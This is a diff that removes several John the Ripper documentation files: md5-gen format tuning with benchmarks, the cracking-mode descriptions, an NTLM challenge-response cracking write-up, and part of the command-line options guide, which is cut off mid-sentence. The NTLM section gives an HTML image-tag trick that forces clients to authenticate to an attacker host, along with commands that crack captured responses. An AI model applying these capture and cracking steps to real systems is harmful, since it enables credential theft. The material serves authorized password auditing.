Expression=md5_gen(1042): md5(md5($s).md5($p).$p)
|
||||
Flag=MGF_SALTED
|
||||
Flag=MGF_SALT_AS_HEX
|
||||
Flag=MGF_NOTSSE2Safe
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_salt
|
||||
Func=MD5GenBaseFunc__append_from_last_output_as_base16
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Test=md5_gen(1042)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1
|
||||
|
||||
Once the above changes have been done, here are the speeds:
|
||||
|
||||
john_x86 -test=5 -for=md5-gen -sub=md5_gen(1031)
|
||||
Benchmarking: md5_gen(1031) md5_gen(1031): md5($s.md5($p).$p) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 2007K c/s
|
||||
Only one salt: 1913K c/s
|
||||
|
||||
john_x86 -test=5 -for=md5-gen -sub=md5_gen(1032)
|
||||
Benchmarking: md5_gen(1032) md5_gen(1032): md5(md5($s).md5($p).$p) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 1052K c/s
|
||||
Only one salt: 1030K c/s
|
||||
|
||||
john_x86 -test=5 -for=md5-gen -sub=md5_gen(1042)
|
||||
Benchmarking: md5_gen(1042) md5_gen(1042): md5(md5($s).md5($p).$p) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 1420K c/s
|
||||
Only one salt: 1372K c/s
|
||||
|
||||
john_sse2 -test=5 -for=md5-gen -sub=md5_gen(1042)
|
||||
Benchmarking: md5_gen(1042) md5_gen(1042): md5(md5($s).md5($p).$p) SSE2 [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 1416K c/s
|
||||
Only one salt: 1372K c/s
|
||||
|
||||
|
||||
We can also perform even more optimizations in the format. What we do in this format, is we
|
||||
md5 the salt (when we first load the file). Thus the salts which john works with, are really
|
||||
md5($s) (same as we did in format 1042). Then we use a different flag, which puts the
|
||||
md5($p) into offset 32 of input1 (where we want it). Then we simply overwrite the data in
|
||||
input 1 with the salt (which is md5($s) in base-16 format), then force set length to 64, then
|
||||
append the keys, then crypt.
|
||||
|
||||
[List.Generic:md5_gen(1052)]
|
||||
Expression=md5_gen(1052): md5(md5($s).md5($p).$p)
|
||||
Flag=MGF_SALTED
|
||||
Flag=MGF_SALT_AS_HEX
|
||||
Flag=MGF_KEYS_BASE16_IN1_Offset32
|
||||
Flag=MGF_NOTSSE2Safe
|
||||
Func=MD5GenBaseFunc__overwrite_salt_to_input1_no_size_fix
|
||||
Func=MD5GenBaseFunc__set_input_len_64
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Test=md5_gen(1052)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1
|
||||
|
||||
Here are the benchmarks for the above format:
|
||||
|
||||
john_x86 -test=5 -for=md5-gen -sub=md5_gen(1052)
|
||||
Benchmarking: md5_gen(1052) md5_gen(1052): md5(md5($s).md5($p).$p) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 2251K c/s
|
||||
Only one salt: 1369K c/s
|
||||
|
||||
john_sse2 -test=5 -for=md5-gen -sub=md5_gen(1052)
|
||||
Benchmarking: md5_gen(1052) md5_gen(1052): md5(md5($s).md5($p).$p) SSE2 [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 2251K c/s
|
||||
Only one salt: 1369K c/s
|
||||
|
||||
|
||||
Now, note the speed for 'many salts'. It is very close to the speed of (1031), actually faster.
|
||||
This speed is the speed john will have for a normal password cracking, where you have dozens (or
|
||||
hundreds, or 1000's) of password hashes to crack.
|
||||
|
||||
To understand WHY this format is this much faster (the 'Many salts', is the normal way to
|
||||
benchmark the speed of a salted hash), is to understand what is happening under the hood within
|
||||
john's 'crypt all' loop.
|
||||
|
||||
while (!feof(password_file)) {
|
||||
for (i = 0 to max_num_passwords)
|
||||
SetKey(i, getnextpassword(password_file));
|
||||
if (salted)
|
||||
{
|
||||
while (z<salt_count)
|
||||
{
|
||||
SetSalt(salt[z]);
|
||||
crypt_all
|
||||
for (all_binaries_for_salt[z])
|
||||
CheckForMatched(binary)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
The above code is certainly not 'exact', but should show close enough, the algorithm used
|
||||
within john. Now, the algorithm as used within md5-gen will be shown (specifically for the
|
||||
flag MGF_KEYS_BASE16_IN1_Offset32).
|
||||
|
||||
- SetKey() is called numerous times. This will set a 'dirty flag' for the keys inside of md5-gen.
|
||||
- SetSalt() will be called. The salt handed to us is actually md5($s), since MGF_SALT_AS_HEX is set
|
||||
The SetSalt() calls are happening within the 'while(z<salt_count)' loop in john.
|
||||
- crypt_all is called.
|
||||
Within crypt_all, md5-gen knows that we want the base-16 md5($p) to be placed at offset 32
|
||||
within input1. So the first call to crypt_all (for the first salt), will cause the md5($p)
|
||||
to be computed, and to be placed at offset 32.
|
||||
Then the script will overwrite the starting bytes of input1 with the 32 bytes of the salt,
|
||||
then the length is set to 64, then the key is appened, then a crypt, and then comparisons.
|
||||
- NOW, we are at the next loop within the 'while(z<salt_count)'.
|
||||
- Then john loads the next salt [ SetSalt() ].
|
||||
- Then john calls crypt_all.
|
||||
At this time, there have been NO additional SetKey() calls. Thus, md5-gen knows that the
|
||||
base-16 text of md5($p) is STILL located at offset 32 of Input1. So, the format DOES NOT
|
||||
perform this crypt again (until new SetKey() function calls happen).
|
||||
- This SetSalt .. crypt_all .. compare continues until all salts are tested. However, there
|
||||
will be no crypt calls to md5($p) again, UNTIL the working code within john calls SetKey()
|
||||
again (when starting with new passwords, after all salts have been checked).
|
||||
|
||||
|
||||
Now, in the final format, we start from 1042, and do NOT turn off the sse2 code. What we do, is
|
||||
to turn off SSE2 when it is not valid. This will generate x86 code (generic) that runs exactly
|
||||
the same as in 1042 (the 2 function calls of MD5GenBaseFunc__SSEtoX86_switch_output1 and
|
||||
MD5GenBaseFunc__X86toSSE_switch_output1 are no-ops in x86 builds). However, in SSE mode,
|
||||
the first crypt will be done using SSE. Thus, as we see, the speed went from 1420k, up
|
||||
to almost 1800k. But note, this is NOT as fast as format 1052, for 'many' salts.
|
||||
|
||||
[List.Generic:md5_gen(1062)]
|
||||
Expression=md5_gen(1062): md5(md5($s).md5($p).$p)
|
||||
Flag=MGF_SALTED
|
||||
Flag=MGF_SALT_AS_HEX
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Func=MD5GenBaseFunc__SSEtoX86_switch_output1
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_salt
|
||||
Func=MD5GenBaseFunc__append_from_last_output_as_base16
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Func=MD5GenBaseFunc__X86toSSE_switch_output1
|
||||
Test=md5_gen(1062)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1
|
||||
|
||||
john_sse2 -test=5 -for=md5-gen -sub=md5_gen(1062)
|
||||
Benchmarking: md5_gen(1062) md5_gen(1062): md5(md5($s).md5($p).$p) SSE2 [SSE2 32x4 (.S)]... DONE
|
||||
Many salts: 1792K c/s
|
||||
Only one salt: 1715K c/s
|
||||
|
||||
So all in all, 1032, 1042, 1052, 1062 were all equivalent (1032 was not, since it fails in
|
||||
SSE2 builds, but that was 'fixed' in 1042). They all run using differing sets of flags, differing
|
||||
sets of Function primatives, and have different runtime speeds. However, in the end, they all
|
||||
|
||||
|
||||
|
||||
Now, the above format 1062 is slower than 1052. This is due to the final crypt still having to be
|
||||
done in x86 mode. However, in 1062, we crypt EVERY password for each salt. Thus you can see there
|
||||
is no speed gain between many salts, and 1 salt. Yes, the md5($p) IS done using SSE2 which is much
|
||||
faster, but in version 1052, when there are multiple salts, the slower md5($p) is done only 1 time
|
||||
per password.
|
||||
|
||||
|
||||
Now, the flag MGF_KEYS_BASE16_IN1_Offset32 (or other flags like it), CAN be used in SSE2 to
|
||||
get much faster behavior, however, it has to be in a format that IS SSE2 friendly. Here
|
||||
is an example:
|
||||
|
||||
md5(md5($p).$s) In this format, we CAN build an SSE2 friendly format, that is VERY fast.
|
||||
For this test, we will set the salt length to a fixed size of 12.
|
||||
|
||||
Here is a very easy to read, but also very far from optimal format for the above type:
|
||||
[List.Generic:md5_gen(1033)]
|
||||
Expression=md5_gen(1033): md5(md5($p).$s)
|
||||
Flag=MGF_SALTED
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_from_last_output_as_base16
|
||||
Func=MD5GenBaseFunc__append_salt
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Test=md5_gen(1033)e9fb44106edf60419d26a10b5439d0c7$aabbccddeeff:test1
|
||||
SaltLen=12
|
||||
|
||||
john_x86 -test -format=md5-gen -subf=md5_gen(1033)
|
||||
Benchmarking: md5_gen(1033) md5_gen(1033): md5(md5($p).$s) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 1918K c/s
|
||||
Only one salt: 1889K c/s
|
||||
|
||||
john_sse2 -test -format=md5-gen -subf=md5_gen(1033)
|
||||
Benchmarking: md5_gen(1033) md5_gen(1033): md5(md5($p).$s) SSE2 [SSE2 32x4 (.S)]... DONE
|
||||
Many salts: 5479K c/s
|
||||
Only one salt: 4922K c/s
|
||||
|
||||
|
||||
Here is a MUCH more optimal version (1043). This version will use the flag
|
||||
MGF_KEYS_BASE16_IN1 to load the md5($p) into input 1, at the start of that string. That
|
||||
will ONLY be done, if there is a SetKeys() change. Then we simply set the input length
|
||||
to 32, append the salt, and call crypt.
|
||||
|
||||
[List.Generic:md5_gen(1043)]
|
||||
Expression=md5_gen(1043): md5(md5($p).$s)
|
||||
Flag=MGF_SALTED
|
||||
Flag=MGF_KEYS_BASE16_IN1
|
||||
Func=MD5GenBaseFunc__set_input_len_32
|
||||
Func=MD5GenBaseFunc__append_salt
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Test=md5_gen(1033)e9fb44106edf60419d26a10b5439d0c7$aabbccddeeff:test1
|
||||
SaltLen=12
|
||||
|
||||
john_x86 -test -format=md5-gen -subf=md5_gen(1043)
|
||||
Benchmarking: md5_gen(1043) md5_gen(1043): md5(md5($p).$s) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 4128K c/s
|
||||
Only one salt: 1890K c/s
|
||||
|
||||
john_sse2 -test -format=md5-gen -subf=md5_gen(1043)
|
||||
Benchmarking: md5_gen(1043) md5_gen(1043): md5(md5($p).$s) SSE2 [SSE2 32x4 (.S)]... DONE
|
||||
Many salts: 13096K c/s
|
||||
Only one salt: 4834K c/s
|
||||
|
||||
So in this case, we see that the 'only 1 salt' speed is pretty much a wash. However, the
|
||||
'many salts' speed, has gone from 1900k to 4100k for non-sse, and from 5500k to 13100k.
|
||||
|
||||
NOTE, the above format is actually md5_gen(6) (also md5_gen(7)) format.
|
||||
|
||||
|
|
@ -1,112 +0,0 @@
|
|||
John the Ripper's cracking modes.
|
||||
|
||||
Mode descriptions here are short and only cover the basic things.
|
||||
Check other documentation files for information on customizing the
|
||||
modes.
|
||||
|
||||
|
||||
Wordlist mode.
|
||||
|
||||
This is the simplest cracking mode supported by John. All you need to
|
||||
do is specify a wordlist (a text file containing one word per line)
|
||||
and some password files. You can enable word mangling rules (which
|
||||
are used to modify or "mangle" words producing other likely
|
||||
passwords). If enabled, all of the rules will be applied to every
|
||||
line in the wordlist file producing multiple candidate passwords from
|
||||
each source word.
|
||||
|
||||
The wordlist should not contain duplicate lines. John does not sort
|
||||
entries in the wordlist since that would consume a lot of resources
|
||||
and would prevent you from making John try the candidate passwords in
|
||||
the order that you define (with more likely candidate passwords listed
|
||||
first). However, if you don't list your candidate passwords in a
|
||||
reasonable order, it'd be better if you sort the wordlist
|
||||
alphabetically: with some hash types, John runs a bit faster if each
|
||||
candidate password it tries only differs from the previous one by a
|
||||
few characters. Most wordlists that you may find on the Net are
|
||||
already sorted anyway.
|
||||
|
||||
On the other hand, if your wordlist is sorted alphabetically, you do
|
||||
not need to bother about some wordlist entries being longer than the
|
||||
maximum supported password length for the hash type you're cracking.
|
||||
To give an example, for traditional DES-based crypt(3) hashes only
|
||||
the first 8 characters of passwords are significant. This means that
|
||||
if there are two or more candidate passwords in the wordlist whose
|
||||
first 8 characters are exactly the same, they're effectively the same
|
||||
8 character long candidate password which only needs to be tried once.
|
||||
As long as the wordlist is sorted alphabetically, John is smart enough
|
||||
to handle this special case right.
|
||||
|
||||
In fact, it is recommended that you do not truncate candidate
|
||||
passwords in your wordlist file since the rest of the characters
|
||||
(beyond the length limit of your target hash type) are likely still
|
||||
needed and make a difference if you enable word mangling rules.
|
||||
|
||||
The recommended way to sort a wordlist for use with default wordlist
|
||||
rule set is:
|
||||
|
||||
tr A-Z a-z < SOURCE | sort -u > TARGET
|
||||
|
||||
See RULES for information on writing your own wordlist rules.
|
||||
|
||||
|
||||
"Single crack" mode.
|
||||
|
||||
This is the mode you should start cracking with. It will use the
|
||||
login names, "GECOS" / "Full Name" fields, and users' home directory
|
||||
names as candidate passwords, also with a large set of mangling rules
|
||||
applied. Since the information is only used against passwords for the
|
||||
accounts it was taken from (and against password hashes which happened
|
||||
to be assigned the same salt), "single crack" mode is much faster than
|
||||
wordlist mode. This permits for the use of a much larger set of word
|
||||
mangling rules with "single crack", and their use is always enabled
|
||||
with this mode. Successfully guessed passwords are also tried against
|
||||
all loaded password hashes just in case more users have the same
|
||||
password.
|
||||
|
||||
Note that running this mode on many password files simultaneously may
|
||||
sometimes get more passwords cracked than it would if you ran it on
|
||||
the individual password files separately.
|
||||
|
||||
|
||||
"Incremental" mode.
|
||||
|
||||
This is the most powerful cracking mode, it can try all possible
|
||||
character combinations as passwords. However, it is assumed that
|
||||
cracking with this mode will never terminate because of the number of
|
||||
combinations being too large (actually, it will terminate if you set a
|
||||
low password length limit or make it use a small charset), and you'll
|
||||
have to interrupt it earlier.
|
||||
|
||||
That's one reason why this mode deals with trigraph frequencies,
|
||||
separately for each character position and for each password length,
|
||||
to crack as many passwords as possible within a limited time.
|
||||
|
||||
To use the mode you need a specific definition for the mode's
|
||||
parameters, including password length limits and the charset to use.
|
||||
These parameters are defined in the configuration file sections called
|
||||
[Incremental:MODE], where MODE is any name that you assign to the mode
|
||||
(it's the name that you will need to specify on John's command line).
|
||||
You can either use a pre-defined incremental mode definition (one of
|
||||
"All", "Alnum", "Alpha", "Digits", or "LanMan" for LM hashes) or define
|
||||
a custom one.
|
||||
|
||||
See CONFIG and EXAMPLES for information on defining custom modes.
|
||||
|
||||
|
||||
External mode.
|
||||
|
||||
You can define an external cracking mode for use with John. This is
|
||||
done with the configuration file sections called [List.External:MODE],
|
||||
where MODE is any name that you assign to the mode. The section
|
||||
should contain program code of some functions that John will use to
|
||||
generate the candidate passwords it tries. The functions are coded in
|
||||
a subset of C and are compiled by John at startup when you request the
|
||||
particular external mode on John's command line. See EXTERNAL.
|
||||
|
||||
|
||||
What modes should I use?
|
||||
|
||||
See EXAMPLES for a reasonable order of cracking modes to use.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/MODES,v 1.5 2006/01/02 06:48:40 solar Exp $
|
||||
|
|
@ -1,143 +0,0 @@
|
|||
LM/NTLM Challenge / Response Authentication
|
||||
JoMo-Kun (jmk at foofus dot net) ~ 2010
|
||||
|
||||
Microsoft Windows-based systems employ a challenge-response authentication
|
||||
protocol as one of the mechanisms used to validate requests for remote file
|
||||
access. The configured/negotiated authentication type, or level, determines how
|
||||
the system will perform authentication attempts on behalf of users for either
|
||||
incoming or outbound requests. These requests may be due to a user initiating a
|
||||
logon session with a remote host or, in some cases, transparently by an
|
||||
application they are running. In many cases, these exchanges can be replayed,
|
||||
manipulated or captured for offline password cracking. The following text
|
||||
discusses the available tools within the John the Ripper "Jumbo" patch for
|
||||
performing offline password auditing of these specific captured challenge-
|
||||
response pairs.
|
||||
|
||||
Why might these exchanges be of interest? A primary point of most penetration
|
||||
tests is to find avenues through which the assessor can gain unauthorized access
|
||||
to some resource. This often relies on the compromise of a system's local
|
||||
accounts or the exploitation of some service-level vulnerability. The ability to
|
||||
capture on-the-wire authentication exchanges and to crack the associated
|
||||
password adds another option to the mix. The fact that these exchanges can be
|
||||
cracked aids in demonstrating to clients why one authentication algorithm may be
|
||||
preferred to another.
|
||||
|
||||
A given server is likely to use one of the following protocols for
|
||||
authentication challenge-response: LMv1, NTLMv1, LMv2 or NTLMv2. It should be
|
||||
noted that these protocols may use the LM and NTLM password hashes stored on a
|
||||
system, but they are not the same thing. For an excellent in-depth discussion of
|
||||
the protocols see the Davenport paper entitled "The NTLM Authentication Protocol
|
||||
and Security Support Provider" [1]. For the purposes of this discussion, the key
|
||||
item of note is that the LMv1 and NTLMv1 protocols consist of a only a single
|
||||
server challenge. This allows an attacker to force a client into authenticating
|
||||
using a specific challenge and then attack that response using precomputed
|
||||
Rainbow Tables.
|
||||
|
||||
There are a variety of methods for capturing challenge-response pairs, including
|
||||
the use of tools such as MetaSploit and Ettercap. The author's preferred method
|
||||
is to use a modified version of Samba[2]. The provided patch sets the server's
|
||||
challenge to a fixed value (i.e. 0x1122334455667788) and logs all authentication
|
||||
attempts in a format suitable for use with John. The patch also includes a
|
||||
modification to the nmbd application. Nmbd is used to respond to broadcast
|
||||
requests for NetBIOS name/IP information. The modified service simply responds
|
||||
to all requests with its own IP address, often resulting in hosts unknowingly
|
||||
authenticating to the wrong system. Another common method of forcing systems to
|
||||
authenticate to the Samba server is through the use of HTML image source tags.
|
||||
For example, simply inserting the tag "<img src=file://192.168.1.10/logo.gif>"
|
||||
into a HTML message will cause some email client applications to automatically
|
||||
perform an authentication attempt. Other examples include the use of specialized
|
||||
desktop.ini files and many other mischievous tricks.
|
||||
|
||||
It is also worth noting that these challenge/response protocols are not limited
|
||||
to the Microsoft File and Print Services. For example, Cisco's LEAP wireless
|
||||
security mechanism, EAP-PEAP and PPTP all utilize a MS-CHAP handshake, or
|
||||
modified variant. The NTLMv1 challenge/response set can be extracted from this
|
||||
exchange and subjected to a brute-force guessing attack. Further discussion on
|
||||
this subject is outside of the scope of this write-up, but would certainly
|
||||
reveal numerous additional uses.
|
||||
|
||||
The LMv1 challenge-response mechanism suffers a number of technical limitations.
|
||||
As previously noted, only a server challenge is used. This means that if the
|
||||
challenge is set to a constant value, a given password will always result in
|
||||
the same client authentication response. This allows for the precomputation of
|
||||
password / LMv1 responses and their subsequent retrieval using tools such as
|
||||
RainbowCrack.
|
||||
|
||||
To further exacerbate the issue, the LM hash used during the generation of the
|
||||
LMv1 response converts a password into (at most) two 7 character upper-case
|
||||
passwords. The LM hash is then split into three pieces prior to calculating the
|
||||
LMv1 response. This process greatly reduces the size of the Rainbow Tables which
|
||||
need to be calculated in order to break a given password. For example, the
|
||||
so-called "halflmchall" tables widely available on the Internet utilize only the
|
||||
first third of the LMv1 response to break the first 7 characters of the
|
||||
respective password. The netnlm.pl script discussed in this document can be used
|
||||
to attempt to break the remaining characters of the password and its original
|
||||
case-sensitive version. The following is an example of cracking a captured
|
||||
LMv1/NTLMv1 challenge/response set.
|
||||
|
||||
Example LMv1/NTLMv1 Challenge/Response (.lc Format):
|
||||
user::WORKGROUP:5237496CFCBD3C0CB0B1D6E0D579FE9977C173BC9AA997EF:A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:112233445566778
|
||||
|
||||
LMv1 Response: 5237496CFCBD3C0CB0B1D6E0D579FE9977C173BC9AA997EF
|
||||
NTLMv1 Response: A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE
|
||||
Server Challenge: 112233445566778
|
||||
|
||||
RainbowCrack look-up of password's first 7 characters (upper-cased) using first
|
||||
third (8 bytes) of LMv1 response:
|
||||
% rcrack halflmchall/*.rt -f 5237496CFCBD3C0C
|
||||
Result: CRICKET
|
||||
|
||||
First netntlm.pl Pass (Crack Remaining Characters):
|
||||
% netntlm.pl --file capture.lc --seed CRICKET
|
||||
Result: CRICKET88!
|
||||
|
||||
Second netntlm.pl Pass (Determine Case Sensitive Password)[a]:
|
||||
% netntlm.pl --file capture.lc
|
||||
Result: Cricket88!
|
||||
|
||||
[a] Note that the case-sensitive password will be shown about a third through
|
||||
the script's output following the text: "Performing NTLM case-sensitive crack
|
||||
for account".
|
||||
|
||||
The following is an example of cracking a captured NTLMv1 challenge/response. If
|
||||
the LMv1 and NTLMv1 response hashes within a given client response are
|
||||
identical, it typically means one of two things: either the client machine is
|
||||
configured to send only a NTLMv1 response (e.g. LAN Manager Authentication Level
|
||||
Group Policy Object set to "Send NTLM response only"), or the user's password is
|
||||
greater than 14 characters. If the password is indeed over 14 characters in
|
||||
length, it is unlikely a suitable Rainbow Table set is available and brute-force
|
||||
guessing will be exhaustively time-consuming.
|
||||
|
||||
Example NTLMv1 Challenge/Response (.lc Format):
|
||||
user::WORKGROUP:A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:1122334455667788
|
||||
|
||||
John Usage:
|
||||
% john -format:netntlm capture.lc
|
||||
|
||||
The LMv2 and NTLMv2 challenge/response protocols both employ unique client
|
||||
challenges. This additional data effectively defeats the ability to precompute
|
||||
password/response pairs via Rainbow Tables. It should also be noted that
|
||||
despite its name, the LMv2 response is computed using a NTLM hash. This results
|
||||
in a much harder-to-crack response hash, as the password was not truncated to
|
||||
seven characters or upper-cased during the process.
|
||||
|
||||
The use of NTLMv2 is now the default policy within Microsoft Windows Vista and
|
||||
Windows 7. Its use can be enforced for older versions via the LAN Manager
|
||||
Authentication Level Group Policy Object ("Send NTLMv2 response only" (level 3
|
||||
or higher)).
|
||||
|
||||
Example LMv2 Challenge/Response (.lc Format):
|
||||
user::WORKGROUP:1122334455667788:6FAF764ECFDF1D1D9E7BA7B517190F3B:E15C1A679C7609CE
|
||||
|
||||
John Usage:
|
||||
% john -format:netlmv2 capture.lc
|
||||
|
||||
Example NTLMv2 Challenge/Response (.lc Format):
|
||||
user::ATS-W759420A:1122334455667788:02E12C3C2B2F5799D2C1A7661AE80491:0101000000000000B0736308F1C9CA01DABA9E3A11AFD91F0000000002001000310030002E0030002E0032002E0032000000000000000000
|
||||
|
||||
John Usage:
|
||||
% john -format:netntlmv2 capture.lc
|
||||
|
||||
|
||||
[1] http://davenport.sourceforge.net/ntlm.html
|
||||
[2] http://www.foofus.net/jmk/smbchallenge.html
|
||||
|
|
@ -1,282 +0,0 @@
|
|||
John the Ripper's command line syntax.
|
||||
(Updated in/for the jumbo patch by Jim Fougeron)
|
||||
|
||||
When invoked with no command line arguments, "john" prints its usage
|
||||
summary.
|
||||
|
||||
The supported command line arguments are password file names and
|
||||
options. Many of the supported options accept additional arguments.
|
||||
|
||||
You can list any number of password files right on the command line of
|
||||
"john". You do not have to specify any options. If valid password
|
||||
files are specified but no options are given, John will go through
|
||||
the default selection of cracking modes with their default settings.
|
||||
|
||||
Options may be specified along with password files or on their own,
|
||||
although some require that password files be specified and some do not
|
||||
support operation on password files.
|
||||
|
||||
All options are case sensitive, can be abbreviated as long as the
|
||||
abbreviations are unambiguous, can be prefixed with two dashes
|
||||
(GNU-style) or with one dash, and can use "=" or ":" to indicate an
|
||||
argument (if supported for a given option).
|
||||
|
||||
The supported options are as follows, square brackets denote optional
|
||||
arguments:
|
||||
|
||||
--single[=SECTION] "single crack" mode
|
||||
|
||||
Enables the "single crack" mode, using rules from the configuration
|
||||
file section [List.Rules:Single]. If --single=Single_2 then the rules
|
||||
from [List.Rules:Single_2] section would be used.
|
||||
|
||||
--wordlist=FILE wordlist mode, read words from FILE,
|
||||
--stdin or from stdin
|
||||
|
||||
These are used to enable the wordlist mode.
|
||||
|
||||
--utf8 enable UTF-8 conversion
|
||||
|
||||
John defaults to assuming ISO-8859-1 when converting plaintexts or salts
|
||||
to UTF-16. Using this flag will enable UTF-8 conversion instead. This affects
|
||||
many Microsoft formats like NT, mscash and mssql. Formats not affected will
|
||||
silently ignore this option flag.
|
||||
|
||||
--rules[=SECTION] enable word mangling rules for wordlist mode
|
||||
|
||||
Enables word mangling rules that are read from [List.Rules:Wordlist].
|
||||
If --rules=Wordlist_elite was used, then [List.Rules:Wordlist_elite]
|
||||
would be the section used.
|
||||
|
||||
--incremental[=MODE] "incremental" mode [using section MODE]
|
||||
|
||||
Enables the "incremental" mode, using the specified configuration file
|
||||
definition (section [Incremental:MODE], or [Incremental:All] by default
|
||||
except for LM hashes for which the default is [Incremental:LanMan]).
|
||||
|
||||
--external=MODE external mode or word filter
|
||||
|
||||
Enables an external mode, using external functions defined in section
|
||||
[List.External:MODE].
|
||||
|
||||
--stdout[=LENGTH] just output candidate passwords
|
||||
|
||||
When used with a cracking mode, except for "single crack", makes John
|
||||
output the candidate passwords it generates to stdout instead of
|
||||
actually trying them against password hashes; no password files may be
|
||||
specified when this option is used. If a LENGTH is given, John
|
||||
assumes that to be the significant password length and only produces
|
||||
passwords up to that length.
|
||||
|
||||
--restore[=NAME] restore an interrupted session
|
||||
|
||||
Continues an interrupted cracking session, reading state information
|
||||
from the specified session file or from $JOHN/john.rec by default.
|
||||
|
||||
--session=NAME give a new session the NAME
|
||||
|
||||
This option can only be used when starting a new cracking session and
|
||||
its purpose is to give the new session a name (to which John will
|
||||
append the ".rec" suffix to form the session file name). This is
|
||||
useful for running multiple instances of John in parallel or to be
|
||||
able to later recover a session other than the last one you interrupt.
|
||||
john.log file will also be named NAME.log (whatever 'NAME' is), so
|
||||
that any logging of the session work will end up in this file.
|
||||
|
||||
--status[=NAME] print status of a session [called NAME]
|
||||
|
||||
Prints status of an interrupted or running session. Note that on a
|
||||
Unix-like system, you can get a detached running session to update its
|
||||
session file by sending a SIGHUP to the appropriate "john" process;
|
||||
then use this option to read in and display the status.
|
||||
|
||||
--make-charset=FILE make a charset, overwriting FILE
|
||||
|
||||
Generates a charset file based on character frequencies from
|
||||
$JOHN/john.pot, for use with the "incremental" mode. The entire
|
||||
$JOHN/john.pot will be used for the charset generation by default. You
|
||||
may restrict the set of passwords used by specifying some password files
|
||||
(in which case only the cracked passwords that correspond to those
|
||||
password files will be used), "--format", or/and "--external" (with an
|
||||
external mode that defines a filter() function).
|
||||
|
||||
--show[=left] show cracked passwords
|
||||
|
||||
Shows the cracked passwords for given password files (which you must
|
||||
specify). You can use this option while another instance of John is
|
||||
cracking to see what John did so far; to get the most up to date
|
||||
information, first send a SIGHUP to the appropriate "john" process.
|
||||
if --show=left then all uncracked hashes are listed (in a john 'input'
|
||||
file format way). =left is just that literal string "=left".
|
||||
|
||||
--test[=TIME] run tests and benchmarks for TIME seconds each
|
||||
|
||||
Tests all of the compiled in hashing algorithms for proper operation and
|
||||
benchmarks them. The "--format" option can be used to restrict this to
|
||||
a specific algorithm.
|
||||
|
||||
--users=[-]LOGIN|UID[,..] [do not] load this (these) user(s)
|
||||
|
||||
Allows you to select just a few accounts for cracking or for other
|
||||
operations. A dash before the list can be used to invert the check
|
||||
(that is, load information for all the accounts that are not listed).
|
||||
|
||||
--groups=[-]GID[,..] load users [not] of this (these) group(s)
|
||||
|
||||
Tells John to load (or to not load) information for accounts in the
|
||||
specified group(s) only.
|
||||
|
||||
--shells=[-]SHELL[,..] load users with[out] this (these) shell(s)
|
||||
|
||||
This option is useful to load accounts with a valid shell only or to
|
||||
not load accounts with a bad shell. You can omit the path before a
|
||||
shell name, so "--shells=csh" will match both "/bin/csh" and
|
||||
"/usr/bin/csh", while "--shells=/bin/csh" will only match "/bin/csh".
|
||||
|
||||
--salts=[-]COUNT[:MAX] load salts with[out] at least COUNT passwords
|
||||
|
||||
This is a feature which allows to achieve better performance in some
|
||||
special cases. For example, you can crack only some salts using
|
||||
"--salts=2" faster and then crack the rest using "--salts=-2". Total
|
||||
cracking time will be about the same, but you will likely get some
|
||||
passwords cracked earlier. If MAX is listed, then no hashes are
|
||||
loaded where there are more than MAX salts. This is so that if you
|
||||
have run --salts=25 and then later can run --salts=10:24 and none of
|
||||
the hashes that were already done from the --salts=25 will be re-done.
|
||||
|
||||
--pot=NAME pot filename to use
|
||||
|
||||
By default, john will use john.pot. This override allows using a different
|
||||
john.pot-like file (to start from, and to store any found password into).
|
||||
|
||||
--format=NAME force hash type NAME
|
||||
|
||||
Allows you to override the hash type detection. Currently, valid
|
||||
"format names" are DES, BSDI, MD5, BF, AFS, LM, and crypt (and many more
|
||||
are added with various patches). You can use this option when you're
|
||||
starting a cracking session or along with one of: "--test", "--show",
|
||||
"--make-charset". Note that John can't crack hashes of different types
|
||||
at the same time. If you happen to get a password file that uses more
|
||||
than one hash type, then you have to invoke John once for each hash type
|
||||
and you need to use this option to make John crack hashes of types other
|
||||
than the one it would autodetect by default.
|
||||
|
||||
"--format=crypt" may or may not be supported in a given build of John.
|
||||
In default builds of John, this support is currently only included on
|
||||
Linux and Solaris. When specified (and supported), this option makes
|
||||
John use the system's crypt(3) or crypt_r(3) function. This may be
|
||||
needed to audit password hashes supported by the system, but not yet
|
||||
supported by John's own optimized cryptographic routines. Currently,
|
||||
this is the case for glibc 2.7+ SHA-crypt hashes as used by recent
|
||||
versions of Fedora and Ubuntu, and for SunMD5 hashes supported (but not
|
||||
used by default) on recent versions of Solaris. In fact, you do not
|
||||
have to explicitly specify "--format=crypt" for hashes of these specific
|
||||
